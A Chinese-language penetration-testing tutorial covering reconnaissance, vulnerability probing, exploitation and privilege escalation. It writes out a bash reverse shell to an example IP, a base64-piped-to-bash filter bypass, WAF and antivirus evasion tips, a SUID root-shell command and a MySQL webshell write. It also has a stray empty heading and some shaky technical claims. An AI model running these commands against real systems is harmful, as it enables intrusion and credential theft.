
本站原创:渗透测试核心技巧:从信息收集到漏洞验证
- 在网络安全防御体系中,渗透测试是 “以攻代防” 的关键手段,通过模拟攻击者视角挖掘系统漏洞,帮助用户提前修复安全隐患。本文由守阙安全团队提供,从信息收集、漏洞探测、漏洞利用、权限提升四大核心环节,拆解渗透测试的实战技巧,助力安全从业者提升测试效率与漏洞发现率。
- 一、信息收集:“细” 字为要,构建完整攻击图谱
- 信息收集是渗透测试的基础,直接决定后续测试方向的准确性,约占整个测试流程的 40%。多数新手易忽视此环节,急于开展漏洞扫描,导致关键信息遗漏。实战中需围绕 “目标资产全梳理” 与 “深度信息挖掘” 两大维度展开。
- 1. 资产梳理:从 “域名到 IP”,无死角覆盖
- 域名枚举:使用工具(如 Subfinder、OneForAll)结合字典暴力破解,挖掘子域名与隐藏域名。例如测试某企业时,通过枚举发现 “test.xxx.com”“admin.xxx.com” 等未公开子域名,其中 “test” 子域名因未及时下线,存在弱口令登录漏洞;
范围界定:IP 段探测:通过 WHOIS 信息、企业备案信息获取目标 IP 段,再用 Nmap 扫描存活主机与开放端口。需注意排除 CDN 干扰,可通过 “多地 Ping 测试”“域名解析历史查询(如 ViewDNS)” 获取真实服务器 IP,避免扫描 CDN 节点浪费时间。
- 2. 深度挖掘:从 “公开信息” 到 “敏感数据”
- 收集到基础资产后,需进一步挖掘可辅助攻击的敏感信息:
技术栈识别:通过浏览器开发者工具(查看响应头)、Nmap 脚本(如nmap -sV)识别服务器操作系统、中间件(如 Apache、Nginx)、数据库(MySQL、SQL Server)版本,例如发现某系统使用 “Apache 2.4.49”,可直接关联该版本存在的路径穿越漏洞(CVE-2021-41773);
公开信息搜集(OSINT):在 GitHub、Gitee 搜索目标企业相关代码,可能发现硬编码的账号密码;在招聘网站查看目标技术岗位需求,推测其使用的开发框架(如 “招聘 Java 开发,熟悉 Spring Boot”);通过企业员工社交账号(如 LinkedIn)获取内部组织架构,为后续社会工程学攻击铺垫。
- 二、漏洞探测:“准” 字当头,避免 “盲目扫描”
- 漏洞探测需结合 “自动化工具” 与 “人工验证”,既要提升效率,又要避免工具误报、漏报。实战中需针对不同资产类型(Web 应用、APP、服务器)制定差异化探测策略。
- 1. Web 应用:聚焦 “高危漏洞” 与 “业务逻辑”
- Web 应用是漏洞高发区,除常规 OWASP Top 10 漏洞(如 SQL 注入、XSS、文件上传),业务逻辑漏洞更易被忽视却危害极大。
自动化扫描技巧:使用 Burp Suite、AWVS 等工具扫描时,需自定义扫描策略 —— 例如针对登录接口,开启 “弱口令暴力破解” 模块,导入行业专用字典(如金融行业常用 “a123456”“123456a”);针对表单提交接口,开启 “参数篡改” 检测,验证是否存在越权访问;
人工验证关键:工具提示漏洞后,需人工验证真实性。例如某电商网站被工具提示 “SQL 注入漏洞”,人工测试时发现,虽然参数存在注入点,但后端有 WAF 拦截,需进一步尝试 “绕过 WAF” 技巧(如使用注释符/**/、大小写混合SeLeCt);若工具未提示漏洞,可结合业务逻辑测试,例如测试 “订单支付” 功能时,修改请求中的 “金额参数”,验证是否可实现 “0 元支付”。
- 2. 服务器与 APP:关注 “配置缺陷” 与 “第三方组件”
- 服务器与 APP 漏洞常源于配置不当或第三方组件漏洞。
服务器配置:检查是否存在 “默认账号密码”(如 Tomcat 默认账号tomcat/tomcat)、“目录遍历”(如 Nginx 配置不当导致/usr/share/nginx/html目录可访问)、“端口暴露”(如 Redis 未授权访问,端口 6379 对外开放且无密码);
APP 漏洞:对于 Android APP,可通过反编译工具(如 Jadx)查看源代码,寻找硬编码的 API 密钥、未加密的本地存储数据;对于 iOS APP,重点测试 “HTTPS 证书校验”—— 若 APP 未校验证书,可通过 Burp Suite 抓包篡改请求,获取敏感数据(如用户登录凭证)。
- 3. 渗透测试
- 三、漏洞利用:“活” 字为魂,灵活适配场景
- 漏洞利用并非简单 “复制 POC(漏洞证明代码)”,需根据目标环境调整策略,避免因环境差异导致利用失败。核心技巧在于 “POC 修改” 与 “绕过防御机制”。
- 1. POC 适配:从 “通用” 到 “定制”
- 多数公开 POC 针对标准环境,需根据目标实际情况修改。
参数调整:例如某远程代码执行漏洞(RCE)的 POC 中,执行命令为whoami,但目标服务器为 Windows 系统,需改为ipconfig;若目标存在命令过滤,可使用 “命令拼接”(如echo "whoami" | bash)绕过;
编码转换:若目标对特殊字符(如&、|)过滤,可将 POC 中的 payload 进行 URL 编码、Base64 编码,例如将bash -i >& /dev/tcp/192.168.1.100/8888 0>&1编码为 Base64,再通过命令echo "编码后内容" | base64 -d | bash执行。
- 2. 绕过防御:突破 WAF 与杀毒软件
- 目标系统常部署 WAF(Web 应用防火墙)、杀毒软件,需针对性绕过。
WAF 绕过:针对基于规则的 WAF,可使用 “畸形请求”(如在 SQL 注入语句中插入/*abc*/)、“分块传输”(将 payload 拆分到多个数据包);针对基于 AI 的 WAF,可降低攻击频率,模拟正常用户行为(如间隔 5 秒发送一次请求);
杀毒软件绕过:若需上传恶意文件(如后门),可对文件进行 “加壳”(如 UPX 壳)、“修改特征码”(如替换代码中的字符串),或伪装为正常文件(如将后门嵌入 Excel 文档,利用宏命令执行)。
- 四、权限提升:“稳” 字为本,扩大控制范围
- 获取初始权限后,需通过权限提升(提权)控制整个系统或内网。实战中需结合 “系统漏洞” 与 “配置缺陷” 双路径提权。
- 1. 系统漏洞提权:精准匹配版本
- 根据目标服务器操作系统版本,寻找对应提权漏洞。
Windows 系统:例如 Windows Server 2012 存在 “MS16-032” 提权漏洞,可通过运行对应 EXP(漏洞利用代码)将普通用户权限提升为管理员权限;
Linux 系统:常见 “SUID 提权”—— 寻找具有 SUID 权限的可执行文件(find / -perm -u=s -type f 2>/dev/null),若发现/usr/bin/find,可通过find / -name test -exec /bin/sh \;获取 root 权限。
- 2. 配置缺陷提权:挖掘 “人为漏洞”
- 部分提权机会源于管理员配置不当。
数据库提权:若 MySQL 数据库用户具有FILE权限,可通过select '' into outfile '/var/www/html/webshell.php'写入后门,再通过 Web 服务获取服务器权限;
内网横向移动:获取目标服务器权限后,通过抓取本地密码(如 Windows 的 Hash 值、Linux 的/etc/shadow文件),尝试登录内网其他主机,扩大控制范围。
- 五、结语:渗透测试是 “技术” 与 “思维” 的结合
- 优秀的渗透测试不仅需要扎实的技术功底,持续跟踪最新漏洞,不断优化测试技巧,更需要 “攻击者思维”—— 善于从细节中寻找突破点,灵活应对复杂业务场景。